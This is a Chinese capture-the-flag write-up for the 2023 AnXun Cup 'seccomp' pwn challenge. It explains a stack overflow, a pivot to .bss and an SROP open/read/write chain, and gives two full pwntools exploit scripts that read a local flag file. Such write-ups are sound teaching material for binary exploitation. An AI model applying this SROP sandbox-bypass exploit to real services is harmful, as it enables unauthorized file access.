2023 安洵杯-PWN-【seccomp】

news2024/11/16 21:40:17

文章目录

  • 检查
  • 设置
    • 注意事项
  • 源码
    • main函数
    • sub_40143E(a1,a2,a3)
    • sub_40119E()
    • 沙箱规则
    • sub_40136E()
  • 思路
  • 注意
  • exp
    • 无chmod版本
    • 有chmod版本

检查

在这里插入图片描述

设置

在当前文件夹下或者其他地方建个flag文件,内容自己随意定😄
在这里插入图片描述

注意事项

记得将动态链接器和动态库的文件也设置为777的权限,不然无法执行成功文件

非常感谢chamd5的venom组的柘狐师傅和L1n3师傅的帮助

在这里插入图片描述

源码

main函数

在这里插入图片描述

sub_40143E(a1,a2,a3)

int sub_40143E()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  return setvbuf(stderr, 0LL, 2, 0LL);
}

sub_40119E()

__int64 sub_40119E()
{
  __int64 result; // rax
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(0LL);
  if ( !v1 )
  {
    perror("seccomp_init");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL) < 0 )
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL) < 0 )
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL) < 0 )
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 90LL, 0LL) < 0 )
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 231LL, 0LL) < 0 )
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 15LL, 0LL) < 0 )
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  result = seccomp_load(v1);
  if ( (int)result < 0 )
  {
    perror("seccomp_load");
    exit(1);
  }
  return result;
}

增加了一些沙箱

沙箱规则

在这里插入图片描述
允许read write open rt_sigreturn chmod函数(很明显可能要用到srop)
不允许exit_group函数

sub_40136E()

__int64 sub_40136E()
{
  char v1[10]; // [rsp+6h] [rbp-2Ah] BYREF
  _QWORD v2[4]; // [rsp+10h] [rbp-20h] BYREF

  v2[0] = 0x6F6E6B2075206F44LL;
  v2[1] = 0x6920746168772077LL;
  v2[2] = 0xA3F444955532073LL;
  strcpy(v1, "easyhack\n");
  syscall(1LL, 1LL, v1, 9LL);
  syscall(0LL, 0LL, &unk_404060, 4096LL);
  syscall(1LL, 1LL, v2, 24LL);
  syscall(0LL, 0LL, v1, 58LL);
  return 0LL;
}
  1. 先将v1的九个字符内容打印出来
  2. 然后读入bss段上偏移404060位置内容4096个字节
  3. 然后输出v2内24个字节到终端上
  4. 然后再读入v1的58个字节

思路

存在栈溢出漏洞,并且只能修改rbp和返回地址,明显需要栈迁移
如果栈迁移后直接用onegadget获得的shellcode,但其满足的条件比较棘手,并且还需获得libc基地址
获得基地址应该可以通过两次执行sub_40136E()函数可以实现(第二次开始需要让rsp恢复和call调用方式一样,即rsp需要减8),因为v1有输出也有输入。满足对应shellcode的条件就比较麻烦了,期待各位的发挥
在这里插入图片描述

那么无法getshell就orw,结合沙箱也很明显,而orw需要大量有关系统调用的,然后在没获得libc基地址的情况下可以通过SROP的方式实现相应的gadget

  1. 第一次输入构造好栈迁移后的rop链
    rop链:
    构造第一次读的sigreturnfram,使得将需要获取的flag文件位置字符串输入到可以写入的内存位置
    此时是否需要chmod的sigreturnfram看情况
    构造第一次open的sigreturnfram,打开flag对应的文件,此时对应的文件描述符是3
    构造第二次read的sigreturnfram,读取flag对应的文件的内容到某个可写的内存位置中
    构造第一次write的sigreturnfram,将flag写入内存的内容输出到终端上从而获得flag

  2. 第二次输入进行栈迁移从而上列的rop链

注意

rt_sigreturn系统调用函数会更新所有寄存器的值,没有设置的将默认为0,所以此时将必要的寄存器都有设置一遍,不存在什么顺序执行得到更新的。

创建文件1,文件2 ,由于进程启动会首先打开0,1,2(分别对应stdin、stdout、stderr),所以fd1=3,fd2=4;
关闭文件1后,fd=3被释放出来,所以再创建文件3时,fd3被分配的是当前最小描述符,即刚刚被释放的fd1,所以fd=3。

open函数和chmod函数的参数设置有点特殊在于它有字符串,在sigreturnfram中设置比较棘手。
对于chmod

int chmod(const char *pathname, mode_t mode);
对于第二个参数有下列设置,可以通过或从而同时设置
S_ISUID 执行时的set-user-ID
S_ISGID 执行时的set-group-ID
S_ISVTX saved-text(粘滞位)
S_IRWXU 用户读、写、执行
S_IRUSR 用户读
S_IWUSR 用户写
S_IXUSR 用户执行
S_IRWXG 组读、写、执行
S_IRGRP 组读
S_IWGRP 组写
S_IXGRP 组执行
S_IRWXO 其他人读、写、执行
S_IROTH 其他人读
S_IWOTH 其他人写
S_IXOTH 其他人执行

对应在sigreturn中的设置为constants.S_IRUSR | constants.S_IRGRP | constants.S_IROTH,此时是用户读|组读|其他人读

fram_chmod=SigreturnFrame()
fram_chmod.rax=constants.SYS_chmod
fram_chmod.rdi=data
fram_chmod.rsi=constants.S_IRUSR | constants.S_IRGRP | constants.S_IROTH
fram_chmod.rsp=0x404060+272+272
fram_chmod.rip=syscall_poprbp_ret

int open(const char *pathname, int flags);

第一个参数path表示:路径名或者文件名。路径名为绝对路径名(如C:/cpp/a.cpp),文件则是在当前工作目录下的。

第二个参数oflags表示:打开文件所采取的动作。

可能值:必须指定下面某一种:

O_RDONLY(只读),

O_WRONLY(只写),

O_RDWR(可读可写)

打开/创建文件时,至少得使用上述三个常量中的一个
以下的常量是选用的,这些选项是用来和上面的必选项进行按位或起来作为flags参数。

  • O_APPEND 表示追加,如果原来文件里面有内容,则这次写入会写在文件的最末尾。
  • O_CREAT 表示如果指定文件不存在,则创建这个文件
  • O_EXCL 表示如果要创建的文件已存在,则出错,同时返回 -1,并且修改 errno 的值。
  • O_TRUNC 表示截断,如果文件存在,并且以只写、读写方式打开,则将其长度截断为0。
  • O_NOCTTY 如果路径名指向终端设备,不要把这个设备用作控制终端。
  • O_NONBLOCK 如果路径名指向 FIFO/块文件/字符文件,则把文件的打开和后继 I/O设置为非阻塞模式(nonblocking mode)-

以下三个常量同样是选用的,它们用于同步输入输出

  • O_DSYNC 等待物理 I/O 结束后再 write。在不影响读取新写入的数据的前提下,不等待文件属性更新。
  • O_RSYNC read 等待所有写入同一区域的写操作完成后再进行
  • O_SYNC 等待物理 I/O 结束后再 write,包括更新文件属性的 I/O

对应在sigreturn中的设置为constants.O_RDONLY,此时是只读形式打开

fram_open=SigreturnFrame()
fram_open.rax=constants.SYS_open
fram_open.rdi=data
fram_open.rsi=constants.O_RDONLY
fram_open.rdx=0
fram_open.rsp=0x404060+272+272+272
fram_open.rip=syscall_poprbp_ret

exp

无chmod版本

from pwn import*
context(os="linux",arch="amd64",log_level="debug")
s=process("./chall")
elf=ELF("./chall")
#gdb.attach(s,"b*0x40143D")
bss=0x404060
data=0x0000000000404000
mov_rax_0xf_ret=0x0000000000401193
leave_ret=0x000000000040143C
syscall_poprbp_ret=0x000000000040118A

fram_read1=SigreturnFrame()
fram_read1.rax=constants.SYS_read
fram_read1.rdi=0
fram_read1.rsi=data
fram_read1.rdx=32
fram_read1.rsp=0x404060+272
fram_read1.rip=syscall_poprbp_ret
"""  
不一定会用到
fram_chmod=SigreturnFrame()
fram_chmod.rax=constants.SYS_chmod
fram_chmod.rdi=data
fram_chmod.rsi=7
fram_chmod.rsp=0x404060+272+272
fram_chmod.rip=syscall_poprbp_ret

"""
fram_open=SigreturnFrame()
fram_open.rax=constants.SYS_open
fram_open.rdi=data
fram_open.rsi=constants.O_RDONLY
fram_open.rdx=0
fram_open.rsp=0x404060+272+272 # +272
fram_open.rip=syscall_poprbp_ret

fram_read2=SigreturnFrame()
fram_read2.rax=constants.SYS_read
fram_read2.rdi=3 # 第一个打开的文件描述符默认为3
fram_read2.rsi=0x0000000000404000+8
fram_read2.rdx=32
fram_read2.rsp=0x404060+272+272+272#+272 如果用到chmod 的frame需要加272
fram_read2.rip=syscall_poprbp_ret

fram_write=SigreturnFrame()
fram_write.rax=constants.SYS_write
fram_write.rdi=1
fram_write.rsi=0x0000000000404000+8
fram_write.rdx=32
fram_write.rsp=0x404060+272+272+272+272#+272 如果用到chmod 的frame需要加272
fram_write.rip=syscall_poprbp_ret

payload=p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_read1)# 往bss段输入rop链
print("payload的长度:",len(payload))# 272

#payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_chmod)


payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_open)


payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_read2)


payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_write)

s.recvuntil(b"easyhack\n")
s.send(payload)


payload=42*b"a"+p64(bss)+p64(leave_ret)  # 溢出修改rbp和返回地址使得栈迁移到bss上
s.recvuntil(b"Do u know what is SUID?\n")
s.send(payload)

payload=b"./flag\x00"
s.send(payload)# 栈迁移后第一次read输入
s.interactive()

有chmod版本

from pwn import*
context(os="linux",arch="amd64",log_level="debug")
s=process("./chall")
elf=ELF("./chall")
#gdb.attach(s,"b*0x40143D")
bss=0x404060
data=0x0000000000404000
mov_rax_0xf_ret=0x0000000000401193
leave_ret=0x000000000040143C
syscall_poprbp_ret=0x000000000040118A

fram_read1=SigreturnFrame()
fram_read1.rax=constants.SYS_read
fram_read1.rdi=0
fram_read1.rsi=data
fram_read1.rdx=32
fram_read1.rsp=0x404060+272
fram_read1.rip=syscall_poprbp_ret


fram_chmod=SigreturnFrame()
fram_chmod.rax=constants.SYS_chmod
fram_chmod.rdi=data
fram_chmod.rsi=constants.S_IRUSR | constants.S_IRGRP | constants.S_IROTH
fram_chmod.rsp=0x404060+272+272
fram_chmod.rip=syscall_poprbp_ret


fram_open=SigreturnFrame()
fram_open.rax=constants.SYS_open
fram_open.rdi=data
fram_open.rsi=constants.O_RDONLY
fram_open.rdx=0
fram_open.rsp=0x404060+272+272+272
fram_open.rip=syscall_poprbp_ret

print("open的第二个参数",constants.O_RDONLY)# 就是O_RDONLY 
print("chmod的第二个参数",constants.S_IRUSR | constants.S_IRGRP | constants.S_IROTH)
fram_read2=SigreturnFrame()
fram_read2.rax=constants.SYS_read
fram_read2.rdi=3 # 第一个打开的文件描述符默认为3
fram_read2.rsi=0x0000000000404000+8
fram_read2.rdx=32
fram_read2.rsp=0x404060+272+272+272+272
fram_read2.rip=syscall_poprbp_ret

fram_write=SigreturnFrame()
fram_write.rax=constants.SYS_write
fram_write.rdi=1
fram_write.rsi=0x0000000000404000+8
fram_write.rdx=32
fram_write.rsp=0x404060+272+272+272+272+272
fram_write.rip=syscall_poprbp_ret

payload=p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_read1)# 往bss段输入rop链
print("payload的长度:",len(payload))# 272

payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_chmod)


payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_open)


payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_read2)


payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_write)

s.recvuntil(b"easyhack\n")
s.send(payload)


payload=42*b"a"+p64(bss)+p64(leave_ret)  # 溢出修改rbp和返回地址使得栈迁移到bss上
s.recvuntil(b"Do u know what is SUID?\n")
s.send(payload)

payload=b"./flag\x00"
s.send(payload)# 栈迁移后第一次read输入
s.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1390732.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MongoDB-数据库文档操作(2)

任务描述 文档数据在 MongoDB 中的查询和删除。 相关知识 本文将教你掌握&#xff1a; 查询文档命令&#xff1b;删除文档命令。 查询文档 我们先插入文档到集合 stu1 &#xff1a; document([{ name:张小华, sex:男, age:20, phone:12356986594, hobbies:[打篮球,踢足球…

2023国赛 陕西省省级二等奖得主 数学建模学习资源推荐

美国最为权威的数学建模参考书Mathematical Modeling 在前言部分对数学建模有一个比较通俗易懂的解释&#xff1a; Mathematical modeling is the link between mathematics and the rest of the world. You ask a question. You think a bit, and then you refine the questi…

W25Q64讲解及历程

W25Qxx系列是一种低成本、小型化、使用简单的非易失性存储器&#xff08;ROM&#xff09;&#xff0c; ROM的特点就是掉电不丢失也就是非易失性存储器&#xff0c;和RAM掉电丢失不同&#xff1b; 常应用于数据存储、字库存储、固件程序存储等场景&#xff1b; 存储介质&…

x-cmd pkg | mermaid - 流程图、时序图等图表绘制工具

简介 mermaid-cli 是由 Mermaid 官方提供的命令行工具&#xff0c;用于将 Mermaid 语法的文本转换为 SVG / PNG / PDF。 Mermaid 是一个基于 JavaScript 的图表绘制工具&#xff0c;它使用简单的文本描述语法&#xff0c;就可以绘制出流程图、时序图、甘特图等多种图表。 首次…

跟着cherno手搓游戏引擎【6】ImGui和ImGui事件

导入ImGui&#xff1a; 下载链接&#xff1a; GitHub - TheCherno/imgui: Dear ImGui: Bloat-free Immediate Mode Graphical User interface for C with minimal dependencies 新建文件夹&#xff0c;把下载好的文件放入对应路径&#xff1a; SRC下的premake5.lua文件&#…

48 WAF绕过-权限控制之代码混淆及行为造轮子

目录 Safedog代码层手写及脚本绕过BT Aliyun代码层手写及脚本绕过safedog&#xff0c;BT&#xff0c;Aliyun-基于覆盖加密变异下编码解码绕过-代码层Safedog&#xff0c;BT&#xff0c;Aliyun-基于冰蝎新型控制器绕过全面测试-行为层Safedog,BT,Aliyun-基于手写新型控制器绕过全…

kotlin运行

1.使用android studio 由于我本身是做android的&#xff0c;android studio本身有内置kotlin的插件。但若只是想跑kotlin的程序&#xff0c;并不像和android程序绑在一起&#xff0c;可以创建一个kt文件&#xff0c;在里面写一个main函数&#xff0c;就可以直接运行kotlin程序…

如何隐藏服务器真实IP地址,隐藏服务器IP有什么好处

首先我们介绍了隐藏服务器IP的概念及工作模式&#xff0c;接着阐述了其对于DDoS攻击的防护作用。然后介绍了如何利用隐藏服务器IP增加系统性能和稳定性。接着我们讲述了如何隐藏服务器IP防止黑客攻击&#xff0c;最后总结了隐藏服务器IP在保护服务器和用户数据方面发挥的作用。…

10分钟读完一篇 AI 论文!​

已经2024年了&#xff0c;该出现一个写论文解读的AI Agent了。 大家肯定也在经常刷论文吧。 但真正尝试过用GPT去刷论文、写论文解读的小伙伴&#xff0c;一定深有体验——费劲。其他agents也没有能搞定的&#xff0c;今天我发现了一个超级厉害的写论文解读的agent &#xff…

计算机网络期末复习(基础概念+三套卷子练习)

文章目录 第一章&#xff1a;计算机网络概念计算机网络的概念计算机网络体系结构 第二章&#xff1a;物理层物理层的基本概念物理层的基本通信技术 练题专题练习码分多址地址聚合 1.0选择填空大题练习 2.0选择填空大题练习 3.0选择填空大题练习 第一章&#xff1a;计算机网络概…

【驱动】TI AM437x(内核调试-06):网卡(PHY和MAC)、七层OSI

1、网络基础知识 1.1 七层OSI 第一层:物理层。 1)需求: 两个电脑之间如何进行通信? 具体就是一台发比特流,另一台能够收到。于是就有了物理层:主要是定义设备标准,如网线的额接口类型、管线的接口类型、各种传输介质的传输速率等。它的主要作用是传输比特流,就是从1/0…

C++多线程学习[三]:成员函数作为线程入口

一、成员函数作为线程入口 #include<iostream> #include<thread> #include<string>using namespace std;class Mythread { public:string str;void Test(){cout << str << endl;} }; int main() {Mythread test;test.str "Test";thr…

tidb Cloud 连接spring boot 项目

一、 免费试用tidbitcloud TiDB Cloud Documentation | PingCAP Docs 1.github账号登录 2.创建集群 3.点击对应集群cludter0 导入数据 导入 本地导入只支持csv文件&#xff0c;其他导入需要AWZ账号使用S3云存储 二、连接spingboot项目 选择java&#xff0c;复制下面的jd…

Matlab并行编程之GPU

Matlab并行编程之GPU Matlab提供GPU上计算支持: 基础数据类型(gpuArray和对应API),支持GPU计算的内置函数和多个工具包,支持PTX内核对象加载,支持MEX函数使用CUDA C/C开发等。对大规模数据处理&#xff0c;复杂计算&#xff0c;利用GPU计算能提供显著的性能加速效果. Matlab同…

Django教程第5章 | Web开发实战-数据统计图表(echarts、highchart)

专栏系列&#xff1a;Django学习教程 前言 highchart&#xff0c;国外。 echarts&#xff0c;国内。 本项目集成 hightchart和echarts图表库实现数据统计功能。 包括&#xff1a;折线图&#xff0c;柱状图&#xff0c;饼图和数据集图。 效果图 echats Highcharts 源代码…

BitLocker 驱动器加密

BitLocker 简介 BitLocker 驱动器加密是一项由微软开发并集成在Windows操作系统中的数据保护功能&#xff0c;其主要作用是通过加密存储在硬盘驱动器上的数据来增强信息安全。具体来说&#xff1a; 数据安全&#xff1a;BitLocker可以对整个操作系统卷&#xff08;包括系统分区…

【Unity实战100例】Unity对Ini格式的配置文件管理和读写

目录 一.编写ini格式配置文件 二.读取解析ini文件 三.调用属性 INI 文件以文本形式存储,易于阅读和编辑。这种人可读的格式使得调整配置参数变得更加直观,不需要专门的工具。 INI 文件是一种轻量级的配置文件格式,不需要复杂的解析器或库。它的结构相对简单,适用于小到

Jenkins自动化部署docker

Jenkins自动化部署docker和普通方式构建 docker外挂目录 准备测试服务器docker环境准备jdk环境将上传jar包修改为app.jar对外暴露1000端口启动jar FROM openjdk:8-jdk-alpine ARG JAR_FILE COPY ${JAR_FILE} app.jar EXPOSE 1000 ENTRYPOINT ["java","-jar&q…

生产力与生产关系 —— 浅析爱泼斯坦事件 之 弱电控制强电原理

据网络文字与视频资料&#xff0c;爱泼斯坦事件是犹太精英阶层&#xff0c;为了掌控美国国家机器为犹太利益集团服务&#xff0c;而精心设下的一个局。本文先假设这个结论成立&#xff0c;并基于此展开讨论。 我们知道&#xff0c;弱电管理强电是电气工程中的一门专门学问&…

使用CloudFlare-Woker搭建简易网站

使用CloudFlare-Woker搭建简易网站 1、首先到CloudFlare官网登录或注册自己的账号&#xff1a;Cloudflare 中国官网 | 智能化云服务平台 | 免费CDN安全防护 | Cloudflare (cloudflare-cn.com) 注册一个账号 2、登录账号后进入仪表盘网页&#xff0c;选择Workers & Pages页…